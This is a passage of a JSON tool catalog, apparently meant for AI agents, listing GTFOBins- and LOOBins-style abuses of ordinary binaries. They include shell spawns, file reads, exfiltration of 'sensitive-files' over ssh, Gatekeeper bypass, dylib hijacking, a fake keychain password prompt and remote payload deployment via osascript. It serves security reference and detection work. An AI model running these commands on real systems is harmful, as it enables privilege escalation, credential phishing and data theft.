      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n# uuencode\n\nuuencode is a command-line utility. Encode binary files for email transmission; can also read arbitrary files.\n",
    "_source": "uuencode.md",
    "allowed-tools": [
      "uuencode"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Encode binary files for email transmission; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "uuencode /path/to/input-file /dev/stdout | uudecode"
      }
    ],
    "execution": {
      "template": "uuencode",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "encode-uuencode-uuencode",
    "install": [
      {
        "method": "apt",
        "package_name": "sharutils",
        "commands": [
          "apt-get install -y sharutils"
        ]
      }
    ],
    "name": "uuencode",
    "namespace": "encode:uuencode:uuencode",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/uuencode/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "jtag.md",
    "allowed-tools": [
      "jtag",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "JTAG boundary scan tool, can execute commands.",
    "examples": [
      {
        "description": "Execute command via jtag",
        "command": "jtag /path/to/script"
      }
    ],
    "execution": {
      "template": "jtag /path/to/script",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "hardware-debug-jtag",
    "install": [
      {
        "method": "apt",
        "package_name": "jtag",
        "commands": [
          "apt-get install -y jtag"
        ]
      }
    ],
    "name": "jtag",
    "namespace": "hardware:debug:jtag",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/jtag/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "scrot.md",
    "allowed-tools": [
      "scrot",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Screenshot tool, can execute commands via exec/postexec options.",
    "examples": [
      {
        "description": "Execute command via scrot",
        "command": "scrot -e '/bin/sh'"
      }
    ],
    "execution": {
      "template": "scrot -e '/bin/sh'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "image-capture-scrot",
    "install": [
      {
        "method": "apt",
        "package_name": "scrot",
        "commands": [
          "apt-get install -y scrot"
        ]
      }
    ],
    "name": "scrot",
    "namespace": "image:capture:scrot",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/scrot/"
      }
    ],
    "related_tools": [
      "import",
      "maim"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "gimp.md",
    "allowed-tools": [
      "gimp",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Script execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU Image Manipulation Program, can execute scripts via Script-Fu.",
    "examples": [
      {
        "description": "Execute Scheme script via gimp",
        "command": "gimp -b '(command)'"
      }
    ],
    "execution": {
      "template": "gimp -b '(command)'",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "interactive"
    ],
    "global_vars": {},
    "id": "image-edit-gimp",
    "install": [
      {
        "method": "apt",
        "package_name": "gimp",
        "commands": [
          "apt-get install -y gimp"
        ]
      }
    ],
    "name": "gimp",
    "namespace": "image:edit:gimp",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/gimp/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# AutoXMate\n\nThis repository serves as a **dual-purpose knowledge base**:\n\n1. **Human study**: Well-structured, narrative-driven documentation for deep learning\n2. **Machine automation**: Highly structured YAML frontmatter and JSON static API for AI agents and MCP servers\n\n## Architecture\n\n- `docs/` — Markdown + YAML frontmatter source files organized by domain\n- `schemas/` — JSON Schema definitions for frontmatter validation\n- `api/v1/` — Compiled static API endpoints (commands.json, registry.json, by-domain.json)\n- `src/` — Astro static site source code\n\n## Quick Start\n\n### For Humans\n\nBrowse the [tools index](/tools) or explore by domain.\n\n### For Machines\n\nThe repository exposes a static API at:\n\n```\n/api/v1/commands.json    — All tools with full metadata\n/api/v1/registry.json    — Registry index\n/api/v1/by-domain.json   — Tools grouped by domain\n```\n\n### For AI Agents\n\n- `/llms.txt` — Curated index for LLM discovery\n- `/llms-full.txt` — Concatenated content for one-shot retrieval\n\n## Domains\n\n- [network](/tools?domain=network) — Networking tools (curl, dig, nmap, etc.)\n- [system](/tools?domain=system) — OS-level tooling (tar, ps, grep, etc.)\n- [security](/tools?domain=security) — Security tools (nmap, metasploit, volatility, etc.)\n- [container](/tools?domain=container) — Container ecosystems (docker, podman, kubernetes)\n",
    "_source": "index.md",
    "capabilities": [],
    "description": "Dual-purpose repository for human study and machine-readable automation",
    "execution": {
      "template": "echo root documentation page",
      "sandbox": "none"
    },
    "id": "repo-root",
    "name": "AutoXMate",
    "namespace": "internal:meta:repository",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "cobc.md",
    "allowed-tools": [
      "cobc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "COBOL compiler, can spawn a shell via compiled COBOL code.",
    "examples": [
      {
        "description": "Spawn a shell via cobc",
        "command": "echo 'CALL \"SYSTEM\" USING \"/bin/sh\".' >/path/to/temp-file\ncobc -xFj --frelax-syntax-checks /path/to/temp-file\n"
      }
    ],
    "execution": {
      "template": "cobc -xFj --frelax-syntax-checks {script}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "lang-cobol-cobc",
    "install": [
      {
        "method": "apt",
        "package_name": "gnucobol",
        "commands": [
          "apt-get install -y gnucobol"
        ]
      }
    ],
    "name": "cobc",
    "namespace": "lang:cobol:cobc",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cobc/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ghc.md",
    "allowed-tools": [
      "ghc",
      "ghci",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Glasgow Haskell Compiler, can execute code and spawn shells via compiled binaries.",
    "examples": [
      {
        "description": "Spawn a shell via ghc",
        "command": "ghc -e 'System.Posix.Process.executeFile \"/bin/sh\" False [] Nothing'"
      }
    ],
    "execution": {
      "template": "ghc -e 'System.Posix.Process.executeFile \"/bin/sh\" False [] Nothing'",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "lang-haskell-ghc",
    "install": [
      {
        "method": "apt",
        "package_name": "ghc",
        "commands": [
          "apt-get install -y ghc"
        ]
      }
    ],
    "name": "ghc",
    "namespace": "lang:haskell:ghc",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ghc/"
      }
    ],
    "related_tools": [
      "ghci",
      "runghc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ghci.md",
    "allowed-tools": [
      "ghci",
      "ghc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Glasgow Haskell Compiler interactive, can execute code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via ghci",
        "command": "ghci -e 'System.Posix.Process.executeFile \"/bin/sh\" False [] Nothing'"
      }
    ],
    "execution": {
      "template": "ghci -e 'System.Posix.Process.executeFile \"/bin/sh\" False [] Nothing'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "lang-haskell-ghci",
    "install": [
      {
        "method": "apt",
        "package_name": "ghc",
        "commands": [
          "apt-get install -y ghc"
        ]
      }
    ],
    "name": "ghci",
    "namespace": "lang:haskell:ghci",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ghci/"
      }
    ],
    "related_tools": [
      "ghc",
      "runghc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "clisp.md",
    "allowed-tools": [
      "clisp",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Common Lisp interpreter, can spawn a shell via run-shell-command.",
    "examples": [
      {
        "description": "Spawn a shell via clisp",
        "command": "clisp -x '(ext:run-shell-command \"/bin/sh\")(ext:exit)'"
      }
    ],
    "execution": {
      "template": "clisp -x '(ext:run-shell-command \"/bin/sh\")(ext:exit)'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "lang-lisp-clisp",
    "install": [
      {
        "method": "apt",
        "package_name": "clisp",
        "commands": [
          "apt-get install -y clisp"
        ]
      }
    ],
    "name": "clisp",
    "namespace": "lang:lisp:clisp",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/clisp/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "cpan.md",
    "allowed-tools": [
      "cpan",
      "perl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Perl code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Perl module installer, can execute Perl code inherited from Perl binary.",
    "examples": [
      {
        "description": "Execute Perl code via cpan shell escape",
        "command": "cpan\n! system(\"/bin/sh\")\n"
      }
    ],
    "execution": {
      "template": "cpan",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "lang-perl-cpan",
    "install": [
      {
        "method": "apt",
        "package_name": "perl",
        "commands": [
          "apt-get install -y perl"
        ]
      }
    ],
    "name": "cpan",
    "namespace": "lang:perl:cpan",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cpan/"
      }
    ],
    "related_tools": [
      "perl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ginsh.md",
    "allowed-tools": [
      "ginsh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GiNaC symbolic math shell, can execute commands and read files.",
    "examples": [
      {
        "description": "Execute command via ginsh",
        "command": "ginsh < /path/to/script"
      }
    ],
    "execution": {
      "template": "ginsh < /path/to/script",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "lang-scheme-ginsh",
    "install": [
      {
        "method": "apt",
        "package_name": "ginac-tools",
        "commands": [
          "apt-get install -y ginac-tools"
        ]
      }
    ],
    "name": "ginsh",
    "namespace": "lang:scheme:ginsh",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ginsh/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "guile.md",
    "allowed-tools": [
      "guile",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Scheme script output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU Guile Scheme interpreter, can execute commands.",
    "examples": [
      {
        "description": "Spawn a shell via guile",
        "command": "guile -c '(system \"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "guile -c '(system \"/bin/sh\")'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "interactive"
    ],
    "global_vars": {},
    "id": "lang-scheme-guile",
    "install": [
      {
        "method": "apt",
        "package_name": "guile-3.0",
        "commands": [
          "apt-get install -y guile-3.0"
        ]
      }
    ],
    "name": "guile",
    "namespace": "lang:scheme:guile",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/guile/"
      }
    ],
    "related_tools": [
      "ginsh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\nditto is a command line utility that is commonly used to copy files and directories while preserving file attributes and permissions. The tool can be used by malicious actors to collect and exfiltrate sensitive data, move laterally, and/or perform DLL hijacking or binary replacement attacks.\n",
    "_source": "ditto.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "collection.data",
      "exfiltration.data",
      "network.lateralmovement",
      "security.defenseevasion.bypass",
      "security.persistence.hook"
    ],
    "description": "Copy files and directories while preserving file attributes and permissions.",
    "detections": [
      {
        "type": "other",
        "description": "No detection content at time of writing"
      }
    ],
    "examples": [
      {
        "description": "Copy and compress sensitive data locally: The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.",
        "command": "ditto -c -k --sequesterRsrc --keepParent /home/user/sensitive-files /tmp/l00t.zip"
      },
      {
        "description": "Remove extended attributes from a file: ditto can be used to bypass Gatekeeper by removing the \"com.apple.quarantine\" extended attribute.",
        "command": "ditto -c -k unsigned.app app.zip ditto -x -k app.zip unsigned.app 2>/dev/null"
      },
      {
        "description": "Copy, compress, and transfer sensitive data to a remote macOS host: The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.",
        "command": "ditto -c --norsrc /home/user/sensitive-files - | ssh remote_host ditto -x --norsrc - /home/user/l00t"
      },
      {
        "description": "DLL hijacking: Replace a legitimate library with a malicious one while maintaining the original file permissions and attributes.",
        "command": "ditto -V /path/to/malicious-library/malicious_library.dylib /path/to/target-library/original_library.dylib"
      }
    ],
    "execution": {
      "template": "ditto",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "stealth"
    ],
    "id": "macos-collection-ditto",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/ditto"
        ]
      }
    ],
    "name": "ditto",
    "namespace": "macos:collection:ditto",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "ditto man page",
        "url": "https://ss64.com/osx/ditto.html"
      },
      {
        "label": "Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability",
        "url": "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/"
      },
      {
        "label": "Jamf Threat Labs identifies Safari vulnerability allowing for Gatekeeper bypass",
        "url": "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/"
      }
    ],
    "techniques": [
      "collection",
      "exfiltration",
      "lateral-movement",
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe osascript binary is a command-line utility included in macOS that allows users to run AppleScript and Open Scripting Architecture (OSA) scripts or commands. AppleScript is a scripting language that is designed for power users to automate various tasks, application actions, and to interact with the operating system.\n",
    "_source": "osascript.md",
    "author": "Cedric Owens (@cedowens)",
    "capabilities": [
      "collection.data",
      "credential.dump",
      "discovery.enumerate",
      "security.execution.command",
      "security.defenseevasion.bypass",
      "security.privilegeescalation.shell",
      "network.lateralmovement"
    ],
    "description": "Execute AppleScripts and other OSA language scripts and commands.",
    "detections": [
      {
        "type": "other",
        "description": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/osascript_gather_clipboard",
        "description": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/osascript_gather_system_information",
        "description": "Jamf Protect: Detect activity that is related to osascript pulling system information"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/osascript_dialog_activity",
        "description": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input"
      },
      {
        "type": "other",
        "description": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
      },
      {
        "type": "other",
        "description": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
      }
    ],
    "examples": [
      {
        "description": "Use the osascript binary to gather sensitive clipboard data: A bash loop can gather clipboard contents over a defined time period. The following command calls /usr/bin/osascript -e 'return (the clipboard)' indefinitely every 10 seconds and writes clipboard content to a text file.",
        "command": "while true; do echo $(osascript -e 'return (the clipboard)') >> clipdata.txt; sleep 10; done"
      },
      {
        "description": "Use the osascript binary to gather system information: osascript can be used to gather the operating system version, current username, user ID, computer name, IP address, and other information.",
        "command": "osascript -e 'return (system info)'"
      },
      {
        "description": "Use the osascript binary to prompt the user for credentials: osascript can be used to generate a dialogue box and request the user to enter the keychain password.",
        "command": "osascript -e 'set popup to display dialog \"Keychain Access wants to use the login keychain\" & return & return & \"Please enter the keychain password\" & return default answer \"\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:FileVaultIcon.icns\" with title \"Authentication Needed\" with hidden answer'"
      },
      {
        "description": "Use the osascript binary to execute a JXA (JavaScript for Automation) file.: JXA is often used by red teams (and potentially attackers) as a macOS payload, as JXA is native to macOS and can access various internal macOS APIs (such as Cocoa, Foundation, OSAKit, etc.). The osascript binary can be used to execute JXA payloads by simply running \"osascript [file.js]\" but some malware or offensive tools may also use \"osascript -l JavaScript [file.js]\".",
        "command": "echo \"ObjC.import('Cocoa');\\nObjC.import('stdlib');\\nvar currentApp = Application.currentApplication();\\ncurrentApp.includeStandardAdditions = true;\\ncurrentApp.doShellScript('open -a Calculator.app');\" > calc.js && osascript -l JavaScript calc.js"
      },
      {
        "description": "Execute shell commands via osascript do shell script: osascript's 'do shell script' handler executes arbitrary shell commands through the AppleScript runtime. Commands spawned this way are children of osascript rather than the calling shell, which can bypass detection logic tied to specific parent-child process relationships. The 'with administrator privileges' flag triggers a native macOS authentication prompt and runs the command as root if the user authenticates, without requiring sudo.",
        "command": "osascript -e 'do shell script \"id\"'"
      },
      {
        "description": "Remote command execution over SSH using osascript do shell script: osascript's 'do shell script' handler can be invoked over an SSH session to execute arbitrary shell commands on a remote macOS host. This technique requires only SSH access to the target. Unlike when using Remote Apple Events (eppc://) with osascript, it does not require port 3031 to be accessible, Remote Apple Events to be enabled, or the target application to be running. This makes it viable against hosts where eppc:// is blocked by the firewall or disabled in System Settings, and against headless or server Macs that have no active GUI session.",
        "command": "ssh -i key.pem user@<TARGET_IP> 'bash -s' <<'EOF'\nosascript -e 'do shell script \"id\"'\nEOF"
      },
      {
        "description": "Mount SMB volume without GUI using osascript mount volume: osascript can mount an SMB share on the local machine using the 'mount volume' command. This approach bypasses the macOS GUI requirement for enabling Windows File Sharing password storage on the target, which is required when using the mount command directly. The share is mounted to /Volumes/<sharename> and its contents are immediately accessible as local files.",
        "command": "osascript -e 'mount volume \"smb://user:<PASSWORD>@<TARGET_IP>/share\"'"
      },
      {
        "description": "Remote payload deployment via Terminal.app as a Remote Apple Events proxy: The System Events application blocks remote do shell script execution via Remote Apple Events (RAE), returning a -10016 Handler Error. Terminal.app does not have this restriction and accepts remote do script commands over the eppc:// protocol. This makes Terminal.app an effective execution proxy. Payloads are Base64-encoded before transmission to avoid AppleScript parsing errors (-2741) caused by multi-line scripts. The deployment is a two-stage process - the first RAE command decodes the payload to a temporary path and sets execute permissions, and the second invokes it via bash. This technique can also be classified as a Software Deployment Tool (T1072) - it operates via Apple Events IPC rather than standard shell processes, creating a telemetry gap in security tooling focused on process execution trees.",
        "command": "osascript <<EOF\ntell application \"Terminal\" of machine \"eppc://${VICTIM_USER}:${VICTIM_PASS}@${VICTIM_IP}\"\n    do script \"echo \\\"${PAYLOAD_B64}\\\" | base64 --decode > ${REMOTE_SCRIPT_PATH} && chmod +x ${REMOTE_SCRIPT_PATH}\" in window 1\nend tell\nEOF\n\nosascript <<EOF\ntell application \"Terminal\" of machine \"eppc://${VICTIM_USER}:${VICTIM_PASS}@${VICTIM_IP}\"\n    do script \"bash ${REMOTE_SCRIPT_PATH}\" in window 1\nend tell\nEOF"
      },
      {
        "description": "Remote volume enumeration via Finder over Remote Apple Events: The Finder application is scriptable over Remote Apple Events (RAE) via the eppc:// URI scheme. osascript can address a remote Finder instance to query mounted volumes on the target machine, providing an adversary with immediate insight into available network shares and external storage. These actions are performed via Apple Events IPC rather than shell commands, bypassing security telemetry focused on process execution.",
        "command": "osascript -e 'tell application \"Finder\" of machine \"eppc://user:password@<TARGET_IP>\" to get name of every disk'"
      }
    ],
    "execution": {
      "template": "osascript",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
